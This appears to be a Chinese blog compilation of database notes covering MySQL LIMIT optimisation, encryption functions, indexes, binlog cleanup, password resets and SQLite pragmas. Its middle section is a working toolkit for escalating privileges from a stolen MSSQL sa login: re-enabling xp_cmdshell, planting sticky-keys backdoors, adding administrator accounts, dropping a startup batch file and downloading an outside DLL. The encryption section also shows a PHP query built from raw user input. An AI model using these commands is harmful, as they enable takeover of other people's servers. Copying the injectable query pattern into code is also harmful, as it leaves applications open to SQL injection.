MySQL LIMIT语句优化

MYSQL的优化是非常重要的。其他最常用也最需要优化的就是limit。mysql的limit给分页带来了极大的方便,但数据量一大的时候,limit的性能就急剧下降。
同样是取10条数据

select * from yanxue8_visit limit 10000,10

select * from yanxue8_visit limit 0,10
就不是一个数量级别的。

网上也很多关于limit的五条优化准则,都是翻译自mysql手册,虽然正确但不实用。今天发现一篇文章写了些关于limit优化的,很不错。

文中不是直接使用limit,而是首先获取到offset的id然后直接使用limit size来获取数据。根据他的数据,明显要好于直接使用limit。这里我具体使用数据分两种情况进行测试。(测试环境win2033+p4双核 (3GHZ) +4G内存 mysql 5.0.19)

1、offset比较小的时候。

select * from yanxue8_visit limit 10,10
多次运行,时间保持在0.0004-0.0005之间

Select * From yanxue8_visit Where vid >=(
Select vid From yanxue8_visit Order By vid limit 10,1
) limit 10
多次运行,时间保持在0.0005-0.0006之间,主要是0.0006
结论:偏移offset较小的时候,直接使用limit较优。这个显然是子查询的原因。

2、offset大的时候。

select * from yanxue8_visit limit 10000,10
多次运行,时间保持在0.0187左右

Select * From yanxue8_visit Where vid >=(
Select vid From yanxue8_visit Order By vid limit 10000,1
) limit 10

多次运行,时间保持在0.0061左右,只有前者的1/3。可以预计offset越大,后者越优。

附上原文:

select * from table LIMIT 5,10; #返回第6-15行数据
select * from table LIMIT 5; #返回前5行
select * from table LIMIT 0,5; #返回前5行

性能优化:

基于MySQL5.0中limit的高性能,我对数据分页也重新有了新的认识.

1.
Select * From cyclopedia Where ID>=(
Select Max(ID) From (
Select ID From cyclopedia Order By ID limit 90001
) As tmp
) limit 100;

2.
Select * From cyclopedia Where ID>=(
Select Max(ID) From (
Select ID From cyclopedia Order By ID limit 90000,1
) As tmp
) limit 100;

同样是取90000条后100条记录,第1句快还是第2句快?
第1句是先取了前90001条记录,取其中最大一个ID值作为起始标识,然后利用它可以快速定位下100条记录
第2句择是仅仅取90000条记录后1条,然后取ID值作起始标识定位下100条记录
第1句执行结果.100 rows in set (0.23) sec
第2句执行结果.100 rows in set (0.19) sec

很明显第2句胜出.看来limit好像并不完全像我之前想象的那样做全表扫描返回limit offset+length条记录,这样看来limit比起MS-SQL的Top性能还是要提高不少的.

其实第2句完全可以简化成

Select * From cyclopedia Where ID>=(
Select ID From cyclopedia limit 90000,1
)limit 100;

直接利用第90000条记录的ID,不用经过Max运算,这样做理论上效率因该高一些,但在实际使用中几乎看不到效果,因为本身定位ID返回的就是1条记录,Max几乎不用运作就能得到结果,但这样写更清淅明朗,省去了画蛇那一足.

可是,既然MySQL有limit可以直接控制取出记录的位置,为什么不干脆用Select * From cyclopedia limit 90000,1呢?岂不更简洁?
这样想就错了,试了就知道,结果是:1 row in set (8.88) sec,怎么样,够吓人的吧,让我想起了昨天在4.1中比这还有过之的”高分”.Select * 最好不要随便用,要本着用什么,选什么的原则, Select的字段越多,字段数据量越大,速度就越慢. 上面2种分页方式哪种都比单写这1句强多了,虽然看起来好像查询的次数更多一些,但实际上是以较小的代价换取了高效的性能,是非常值得的.

第1种方案同样可用于MS-SQL,而且可能是最好的.因为靠主键ID来定位起始段总是最快的.

Select Top 100 * From cyclopedia Where ID>=(
Select Top 90001 Max(ID) From (
Select ID From cyclopedia Order By ID
) As tmp
)

但不管是实现方式是存贮过程还是直接代码中,瓶颈始终在于MS-SQL的TOP总是要返回前N个记录,这种情况在数据量不大时感受不深,但如果成百上千万,效率肯定会低下的.相比之下MySQL的limit就有优势的多,执行:
Select ID From cyclopedia limit 90000
Select ID From cyclopedia limit 90000,1
的结果分别是:
90000 rows in set (0.36) sec
1 row in set (0.06) sec
而MS-SQL只能用Select Top 90000 ID From cyclopedia 执行时间是390ms,执行同样的操作时间也不及MySQL的360ms.

个人测试分析:

这个例子非常经典,但个人感觉说明不详细,经分析,总结如下(其中,id为主键):
主要值得注意的有好几项:

第一:
SELECT * FROM tbl_name LIMIT 1000000,10
SELECT id FROM tbl_name LIMIT 1000000,10
第一条SQL没有能使用主键进行索引,而第二条则使用了,经测试,使用主键进行索引反而变慢,前者大约快一倍。
如果把第二条改为:
SELECT id FROM tbl_name IGNORE INDEX(primary) LIMIT 1000000,10

速度就一样了,因此,估计是因为多了对索引文件(这里是主键)的相关操作.不使用的话,就直接对主表进行扫描就行。

第二:
在第一点的基础上,加上ORDER BY,情况就完全不同了:
SELECT * FROM tbl_name ORDER BY id DESC LIMIT 1000000,10
SELECT id FROM tbl_name ORDER BY id DESC LIMIT 1000000,10
由于第二条SQL使用了索引,ORDER BY就能使用该索引,效果明显,前者需要5秒多,后者只要 0.6秒多点

第三:
这里解释一下引文中的例子:
Select * From cyclopedia Where ID>=(
Select Max(ID) From (
Select ID From cyclopedia Order By ID limit 90000,1
) As tmp
) limit 100;
正如引文所说,该语句可以改写为:
Select * From cyclopedia Where ID>=(
Select ID From cyclopedia Order By ID limit 90000,1
) limit 100;
好,为什么这里会比直接使用 LIMIT 快呢?

正如前两点说的,第一子查询中使用了ORDER BY,因此只使用 `ID`使用查询结果的字段,才会使用索引,如果这里在`ID`后加多一个不在索引内的字段(如:`ID`,`other_field`),那么也要5秒多的时间,这就是第一点快的原因。

第二,外层查询这里虽然使用 ‘*’作为要查询的字段,但由于使用了WHERE ID>=n ,因此使用了索引而作出了快速定位。

而单纯的Select * From cyclopedia ORDER BY `ID` DESC LIMIT 90000,1 由于是要查询的字段使用“*”,另外由于ORDER BY子句并不会使用索引,因此就会慢。

如果改定为:Select `ID` From cyclopedia ORDER BY `ID` DESC LIMIT 90000,1就会变快,但奇怪的是强制使用索引子句Select * From cyclopedia FORCE INDEX(PRIMARY) ORDER BY `ID` DESC LIMIT 90000,1居然无效,这样看来,MySQL的内置优先机制的优先级更高。

MySql的加密算法

1、双向加密

就让我们从最简单的加密开始:双向加密。在这里,一段数据通过一个密钥被加密,只能够由知道这个密钥的人来解密。MySQL有两个函数来支持这种类型的加密,分别叫做ENCODE()和DECODE()。下面是一个简单的实例:

mysql> INSERT INTO users (username, password) VALUES (‘joe’, ENCODE(‘guessme’, ‘abracadabra’)); Query OK, 1 row affected (0.14 sec)

其中,Joe的密码是guessme,它通过密钥abracadabra被加密。要注意的是,加密完的结果是一个二进制字符串,如下所示:

mysql> SELECT * FROM users WHERE username=’joe’;
+———-+———-+
| username | password |
+———-+———-+
| joe | ¡?i??!? |
+———-+———-+
1 row in set (0.02 sec)

abracadabra这个密钥对于恢复到原始的字符串至关重要。这个密钥必须被传递给DECODE()函数,以获得原始的、未加密的密码。下面就是它的使用方法:

mysql> SELECT DECODE(password, ‘abracadabra’) FROM users WHERE username=’joe’;
+———————————+
| DECODE(password, ‘abracadabra’) |
+———————————+
| guessme |
+———————————+
1 row in set (0.00 sec)

应该很容易就看到它在Web应用程序里是如何运行的——在验证用户登录的时候,DECODE()会用网站专用的密钥解开保存在数据库里的密码,并和用户输入的内容进行对比。假设您把PHP用作自己的脚本语言,那么可以像下面这样进行查询:

< ?php $query = "SELECT COUNT(*) FROM users WHERE username='$inputUser' AND DECODE(password, 'abracadabra') = '$inputPass'";?>

提示:虽然ENCODE()和DECODE()这两个函数能够满足大多数的要求,但是有的时候您希望使用强度更高的加密手段。在这种情况下,您可以使用AES_ENCRYPT()和AES_DECRYPT()函数,它们的工作方式是相同的,但是加密强度更高。
2、单向加密

单向加密与双向加密不同,一旦数据被加密就没有办法颠倒这一过程。因此密码的验证包括对用户输入内容的重新加密,并将它与保存的密文进行比对,看是否匹配。一种简单的单向加密方式是MD5校验码。MySQL的MD5()函数会为您的数据创建一个“指纹”并将它保存起来,供验证测试使用。下面就是如何使用它的一个简单例子:

mysql> INSERT INTO users (username, password) VALUES (‘joe’, MD5(‘guessme’)); Query OK, 1 row affected (0.00 sec) mysql> SELECT * FROM users WHERE username=’joe’;
+———-+———————————-+
| username | password |
+———-+———————————-+
| joe | 81a58e89df1f34c5487568e17327a219 |
+———-+———————————-+
1 row in set (0.02 sec)

现在您可以测试用户输入的内容是否与已经保存的密码匹配,方法是取得用户输入密码的MD5校验码,并将它与已经保存的密码进行比对,就像下面这样:

mysql> SELECT COUNT(*) FROM users WHERE username=’joe’ AND password=MD5(‘guessme’);
+———-+
| COUNT(*) |
+———-+
| 1 |
+———-+
1 row in set (0.00 sec)

或者,您考虑一下使用ENCRYPT()函数,它使用系统底层的crypt()系统调用来完成加密。这个函数有两个参数:一个是要被加密的字符串,另一个是双(或者多)字符的“salt”。它然后会用salt加密字符串;这个salt然后可以被用来再次加密用户输入的内容,并将它与先前加密的字符串进行比对。下面一个例子说明了如何使用它:

mysql> INSERT INTO users (username, password) VALUES (‘joe’, ENCRYPT(‘guessme’, ‘ab’)); Query OK, 1 row affected (0.00 sec) mysql> SELECT * FROM users WHERE username=’joe’;
+———-+—————+
| username | password |
+———-+—————+
| joe | ab/G8gtZdMwak |
+———-+—————+
1 row in set (0.00 sec)

结果是

mysql> SELECT COUNT(*) FROM users WHERE username=’joe’ AND password=ENCRYPT(‘guessme’, ‘ab’);
+———-+
| COUNT(*) |
+———-+
| 1 |
+———-+
1 row in set (0.00 sec)

提示:ENCRYPT()只能用在*NIX系统上,因为它需要用到底层的crypt()库。

幸运的是,上面的例子说明了能够如何利用MySQL对您的数据进行单向和双向的加密,并告诉了您一些关于如何保护数据库和其他敏感数据库信息安全的理念。

MySQL索引的查看创建和删除

1.索引作用
在索引列上,除了上面提到的有序查找之外,数据库利用各种各样的快速定位技术,能够大大提高查询效率。特别是当数据量非常大,查询涉及多个表时,使用索引往往能使查询速度加快成千上万倍。
例如,有3个未索引的表t1、t2、t3,分别只包含列c1、c2、c3,每个表分别含有1000行数据组成,指为1~1000的数值,查找对应值相等行的查询如下所示。

SELECT c1,c2,c3 FROM t1,t2,t3 WHERE c1=c2 AND c1=c3
此查询结果应该为1000行,每行包含3个相等的值。在无索引的情况下处理此查询,必须寻找3个表所有的组合,以便得出与WHERE子句相配的那些行。而可能的组合数目为1000×1000×1000(十亿),显然查询将会非常慢。
如果对每个表进行索引,就能极大地加速查询进程。利用索引的查询处理如下。
(1)从表t1中选择第一行,查看此行所包含的数据。
(2)使用表t2上的索引,直接定位t2中与t1的值匹配的行。类似,利用表t3上的索引,直接定位t3中与来自t1的值匹配的行。
(3)扫描表t1的下一行并重复前面的过程,直到遍历t1中所有的行。
在此情形下,仍然对表t1执行了一个完全扫描,但能够在表t2和t3上进行索引查找直接取出这些表中的行,比未用索引时要快一百万倍。
利用索引,MySQL加速了WHERE子句满足条件行的搜索,而在多表连接查询时,在执行连接时加快了与其他表中的行匹配的速度。
2. 创建索引
在执行CREATE TABLE语句时可以创建索引,也可以单独用CREATE INDEX或ALTER TABLE来为表增加索引。
1.ALTER TABLE
ALTER TABLE用来创建普通索引、UNIQUE索引或PRIMARY KEY索引。

ALTER TABLE table_name ADD INDEX index_name (column_list)
ALTER TABLE table_name ADD UNIQUE (column_list)
ALTER TABLE table_name ADD PRIMARY KEY (column_list)

其中table_name是要增加索引的表名,column_list指出对哪些列进行索引,多列时各列之间用逗号分隔。索引名index_name可选,缺省时,MySQL将根据第一个索引列赋一个名称。另外,ALTER TABLE允许在单个语句中更改多个表,因此可以在同时创建多个索引。
2.CREATE INDEX
CREATE INDEX可对表增加普通索引或UNIQUE索引。

CREATE INDEX index_name ON table_name (column_list)
CREATE UNIQUE INDEX index_name ON table_name (column_list)

table_name、index_name和column_list具有与ALTER TABLE语句中相同的含义,索引名不可选。另外,不能用CREATE INDEX语句创建PRIMARY KEY索引。
3.索引类型
在创建索引时,可以规定索引能否包含重复值。如果不包含,则索引应该创建为PRIMARY KEY或UNIQUE索引。对于单列惟一性索引,这保证单列不包含重复的值。对于多列惟一性索引,保证多个值的组合不重复。
PRIMARY KEY索引和UNIQUE索引非常类似。事实上,PRIMARY KEY索引仅是一个具有名称PRIMARY的UNIQUE索引。这表示一个表只能包含一个PRIMARY KEY,因为一个表中不可能具有两个同名的索引。
下面的SQL语句对students表在sid上添加PRIMARY KEY索引。

ALTER TABLE students ADD PRIMARY KEY (sid)

4. 删除索引
可利用ALTER TABLE或DROP INDEX语句来删除索引。类似于CREATE INDEX语句,DROP INDEX可以在ALTER TABLE内部作为一条语句处理,语法如下。

DROP INDEX index_name ON talbe_name
ALTER TABLE table_name DROP INDEX index_name
ALTER TABLE table_name DROP PRIMARY KEY

其中,前两条语句是等价的,删除掉table_name中的索引index_name。
第3条语句只在删除PRIMARY KEY索引时使用,因为一个表只可能有一个PRIMARY KEY索引,因此不需要指定索引名。如果没有创建PRIMARY KEY索引,但表具有一个或多个UNIQUE索引,则MySQL将删除第一个UNIQUE索引。
如果从表中删除了某列,则索引会受到影响。对于多列组合的索引,如果删除其中的某列,则该列也会从索引中删除。如果删除组成索引的所有列,则整个索引将被删除。

5.查看索引
mysql> show index from tblname;
mysql> show keys from tblname;
  · Table

  表的名称。

  · Non_unique

  如果索引不能包括重复词,则为0。如果可以,则为1。

  · Key_name

  索引的名称。

  · Seq_in_index

  索引中的列序列号,从1开始。

  · Column_name

  列名称。

  · Collation

  列以什么方式存储在索引中。在MySQL中,有值‘A’(升序)或NULL(无分类)。

  · Cardinality

  索引中唯一值的数目的估计值。通过运行ANALYZE TABLE或myisamchk -a可以更新。基数根据被存储为整数的统计数据来计数,所以即使对于小型表,该值也没有必要是精确的。基数越大,当进行联合时,MySQL使用该索引的机会就越大。

  · Sub_part

  如果列只是被部分地编入索引,则为被编入索引的字符的数目。如果整列被编入索引,则为NULL。

  · Packed

  指示关键字如何被压缩。如果没有被压缩,则为NULL。

  · Null

  如果列含有NULL,则含有YES。如果没有,则该列含有NO。

  · Index_type

  用过的索引方法(BTREE, FULLTEXT, HASH, RTREE)。

  · Comment

复制表结构和数据的SQL语句

1.复制表结构及数据到新表
CREATE TABLE 新表
SELECT * FROM 旧表

2.只复制表结构到新表
CREATE TABLE 新表
SELECT * FROM 旧表 WHERE 1=2
即:让WHERE条件不成立.
CREATE TABLE 新表
LIKE 旧表

3.复制旧表的数据到新表(假设两个表结构一样)
INSERT INTO 新表
SELECT * FROM 旧表

4.复制旧表的数据到新表(假设两个表结构不一样)
INSERT INTO 新表(字段1,字段2,…….)
SELECT 字段1,字段2,…… FROM 旧表

MySQL日志MySql-bin.0000*的删除方法

MySQL,运行一段时间后,在数据库目录下会自动产生mysql-bin.00000*的日志文件,从mysql-bin.000001开始一直排列下来,占用了大量的硬盘空间,这些日志文件要怎样删除呢?

删除方法:

mysql -u root -p #用ROOT身份登录数据库
reset master; #删除日志,完成

禁止生成日志文件:

vi /etc/my.cnf #编辑MySQL配置文件

找到如下两行并加#号注释掉:

#log-bin=mysql-bin
#binlog_format=mixed

重启MySQL服务:

service mysqld restart

MySQL数据库文件夹中的mysql-bin.00001是什么文件?
mysql-bin.000001、mysql- bin.000002等文件是数据库的操作日志,例如UPDATE一个表,或者DELETE一些数据,即使该语句没有匹配的数据,这个命令也会存储到日志 文件中,还包括每个语句执行的时间,也会记录进去的。

Sa提权sql语句大全

Sa提权方式很多,而最快捷的方式就是shift粘滞键镜像劫持。这种Sa提权方法必须满足几个条件,数据库可以远程访问,服务器开启了终端远程访问也就是3389和粘滞键功能。这样就可以利用Microsoft SQL Server Management Studio或其他漏洞检测工具来连接远程数据库了。
个人推荐使用Microsoft SQL Server Management Studio,可以到微软官方下载地址:http://www.microsoft.com/web/downloads/platform.aspx。如果不用数据库可以不安装,选装Microsoft SQL Server Management Studio就可以了。然后链接数据库引擎,用已得到的sa用户连接数据库,执行下面sql语句,再通过远程桌面链接服务器并连续按5次任意键就可以得到服务器的系统权限了。
从网上收集了Sa提权用到的sql语句,在Sa提权过程中结合实际情况来使用吧。

获取终端端口号(两种方法)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’;

exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’;

设置终端端口(这两个注册表项必须相同)

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’,’REG_DWORD’,3389;

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp’,’PortNumber’,’REG_DWORD’,3389 ;

查询是否被别人劫持过了(唉!)

exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’,’Debugger’;

镜像劫持shift.exe 得到系统权限 CmdShell (也可以劫持其他文件如:taskmgr.exe)

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’,’debugger’,’REG_sz’,’c:\windows\system32\cmd.exe on’;

删除镜像劫持(不想和别人共享服务器用完了就删掉吧)

exec master..xp_regdeletekey ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’;
命令不能执行或权限不足请参考如下提权方法:

1 未能找到存储过程’master..xpcmdshell’。
恢复方法:查询分析器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕。
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)
恢复方法:查询分析器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕。
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分析器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’
然后按F5键命令执行完毕。
恢复xp_cmdshell
sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’
添加存储过程
sp_addextendedproc ‘sp_oacreate’,’odsole70.dll
sp_addextendedproc ‘xp_lake2’, ‘d:\wwwroot\caoo\wwwroot\xplake2.dll’
sp_dropextendedproc xp_lake2
–可以在网上下载到xplake2.dll (http://www.0×54.org/lake2/program/xplake2.dll)
加账号
EXEC xp_lake2 ‘net user > d:\wwwroot\caoo\wwwroot\1.txt’
EXEC xp_lake2 ‘net user 123 123 /add’
EXEC xp_lake2 ‘net localgroup administrators 123 /add’
4终极方法:
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分析器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output
exec sp_oamethod @shell,’run’,NULL,’c:\winnt\system32\cmd.exe /c net user 123 123 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,NULL,’c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add’
xp或2003server系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,NULL,’c:\windows\system32\cmd.exe /c net user 123 123 /add’
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,NULL,’c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add’
替换shift后门,跟开章的镜像劫持效果一样
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,NULL,’c:\windows\explorer.exe’ ,’c:\windows\system32\sethc.exe’;
declare @oo int
exec sp_oacreate ‘scripting.filesystemobject’, @oo out
exec sp_oamethod @oo, ‘copyfile’,NULL,’c:\windows\system32\sethc.exe’ ,’c:\windows\system32\dllcache\sethc.exe’;
开启数据库沙盘模式

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
SELECT * FROM openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net user admin 1234 /add”)’)
SELECT * FROM openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net localgroup administrators admin /add”)’)
不同的操作系统,路径也不一样,需要根据情况做修改:
NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\
exec master..xp_dirtree ‘C:\Documents and Settings\Administrator\「开始」菜单\程序\启动’,1,1

ALTER DATABASE [sq_crmchuangyu] SET RECOVERY FULL–
CREATE TABLE cmd (a image)–
backup log [sq_crmchuangyu] TO disk = ‘c:\cmd1’ WITH init–
INSERT INTO cmd (a) VALUES (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)–
backup log [sq_crmchuangyu] TO disk = ‘C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat’–
DROP TABLE cmd–
在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录 (ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下(测试成功!很实用!):

set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os) ‘得到adsi接口,绑定
Set oe=GetObject(os&”/Administrators,group”) ‘属性,admin组
Set od=ob.Create(“user”,”test”) ‘建立用户
od.SetPassword “1234” ‘设置密码
od.SetInfo ‘保存
Set of=GetObject(os&”/test”,user) ‘得到用户
oe.add os&”/test”
将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:\1.vbs’, 1
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’os=”WinNT://”&wsnetwork.ComputerName’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set ob=GetObject(os)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set oe=GetObject(os&”/Administrators,group”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set od=ob.Create(“user”,”test”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetPassword “1234”‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetInfo ‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set of=GetObject(os&”/test”,user) ‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’oe.add os&”/test”‘
执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示 “c:\1.vbs正被另一个程序运行”而无法成功添加用户:
exec master..xp_cmdshell ‘cscript c:\1.vbs’
如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。
Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user’
执行SQL语句时发生错误!
错误描述:SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
exec master..sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’–成功。
在执行SQL语句
[Microsoft][ODBC SQL Server Driver][SQL Server]在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败,错误代码: ‘5′。
遇到 sql server 2005 ,恢复xp_cmdshell的办法:
开启XP_cmdshell:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure
‘xp_cmdshell’, 1;RECONFIGURE;

开启’OPENROWSET’:

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ad Hoc Distributed Queries’,1;RECONFIGURE;

开启’sp_oacreate’:

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ole Automation Procedures’,1;RECONFIGURE;
就这么多了!总之,具体问题具体分析吧!

MySQL修改用户密码

方法1: 用SET PASSWORD命令

  mysql -u root

  mysql> SET PASSWORD FOR ‘root’@’localhost’ = PASSWORD(‘newpass’);

方法2:用mysqladmin

  mysqladmin -u root password “newpass”

  如果root已经设置过密码,采用如下方法

  mysqladmin -u root password oldpass “newpass”

方法3: 用UPDATE直接编辑user表

  mysql -u root

  mysql> use mysql;

  mysql> UPDATE user SET Password = PASSWORD(‘newpass’) WHERE user = ‘root’;

  mysql> FLUSH PRIVILEGES;

在丢失root密码的时候,可以这样

  mysqld_safe –skip-grant-tables&

  mysql -u root mysql

  mysql> UPDATE user SET password=PASSWORD(“new password”) WHERE user=’root’;

  mysql> FLUSH PRIVILEGES;

SQLite性能优化

主要通过pragma指令来实现。

比如: 空间释放、磁盘同步、Cache大小等。

不要打开。前文提高了,Vacuum的效率非常低!

PRAGMA auto_vacuum;
PRAGMA auto_vacuum = 0 | 1;

查询或设置数据库的auto-vacuum标记。

正常情况下,当提交一个从数据库中删除数据的事务时,数据库文件不改变大小。未使用的文件页被标记并在以后的添加操作中 再次使用。这种情况下使用VACUUM命令释放删除得到的空间。

当开启auto-vacuum,当提交一个从数据库中删除数据的事务时,数据库文件自动收缩, (VACUUM命令在auto-vacuum开启的数据库中不起作用)。数据库会在内部存储一些信息以便支持这一功能,这使得 数据库文件比不开启该选项时稍微大一些。

只有在数据库中未建任何表时才能改变auto-vacuum标记。试图在已有表的情况下修改不会导致报错。
建议改为8000

PRAGMA cache_size;
PRAGMA cache_size = Number-of-pages;

查询或修改SQLite一次存储在内存中的数据库文件页数。每页使用约1.5K内存,缺省的缓存大小是2000. 若需要使用改变大量多行的UPDATE或DELETE命令,并且不介意SQLite使用更多的内存的话,可以增大缓存以提高性能。

当使用cache_size pragma改变缓存大小时,改变仅对当前对话有效,当数据库关闭重新打开时缓存大小恢复到缺省大小。 要想永久改变缓存大小,使用default_cache_size pragma.
打开。不然搜索中文字串会出错。

PRAGMA case_sensitive_like;
PRAGMA case_sensitive_like = 0 | 1;

LIKE运算符的缺省行为是忽略latin1字符的大小写。因此在缺省情况下’a’ LIKE ‘A’的值为真。可以通过打开 case_sensitive_like pragma来改变这一缺省行为。当启用case_sensitive_like,’a’ LIKE ‘A’为假而 ‘a’ LIKE ‘a’依然为真。
打开。便于调试

PRAGMA count_changes;
PRAGMA count_changes = 0 | 1;

查询或更改count-changes标记。正常情况下INSERT, UPDATE和DELETE语句不返回数据。 当开启count-changes,以上语句返回一行含一个整数值的数据——该语句插入,修改或删除的行数。 返回的行数不包括由触发器产生的插入,修改或删除等改变的行数。

PRAGMA page_size;
PRAGMA page_size = bytes;

查询或设置page-size值。只有在未创建数据库时才能设置page-size。页面大小必须是2的整数倍且大于等于512小于等于8192。 上限可以通过在编译时修改宏定义SQLITE_MAX_PAGE_SIZE的值来改变。上限的上限是32768.
如果有定期备份的机制,而且少量数据丢失可接受,用OFF

PRAGMA synchronous;
PRAGMA synchronous = FULL; (2)
PRAGMA synchronous = NORMAL; (1)
PRAGMA synchronous = OFF; (0)

查询或更改”synchronous”标记的设定。第一种形式(查询)返回整数值。 当synchronous设置为FULL (2), SQLite数据库引擎在紧急时刻会暂停以确定数据已经写入磁盘。 这使系统崩溃或电源出问题时能确保数据库在重起后不会损坏。FULL synchronous很安全但很慢。 当synchronous设置为NORMAL, SQLite数据库引擎在大部分紧急时刻会暂停,但不像FULL模式下那么频繁。 NORMAL模式下有很小的几率(但不是不存在)发生电源故障导致数据库损坏的情况。但实际上,在这种情况 下很可能你的硬盘已经不能使用,或者发生了其他的不可恢复的硬件错误。 设置为synchronous OFF (0)时,SQLite在传递数据给系统以后直接继续而不暂停。若运行SQLite的应用程序崩溃, 数据不会损伤,但在系统崩溃或写入数据时意外断电的情况下数据库可能会损坏。另一方面,在synchronous OFF时 一些操作可能会快50倍甚至更多。

在SQLite 2中,缺省值为NORMAL.而在3中修改为FULL.

使用2,内存模式。

PRAGMA temp_store;
PRAGMA temp_store = DEFAULT; (0)
PRAGMA temp_store = FILE; (1)
PRAGMA temp_store = MEMORY; (2)

查询或更改”temp_store”参数的设置。当temp_store设置为DEFAULT (0),使用编译时的C预处理宏 TEMP_STORE来定义储存临时表和临时索引的位置。当设置为MEMORY (2)临时表和索引存放于内存中。 当设置为FILE (1)则存放于文件中。temp_store_directorypragma 可用于指定存放该文件的目录。当改变temp_store设置,所有已存在的临时表,索引,触发器及视图将被立即删除。

SQLite支持的编译指令(pragma)

SQLite支持的编译指令(pragma)

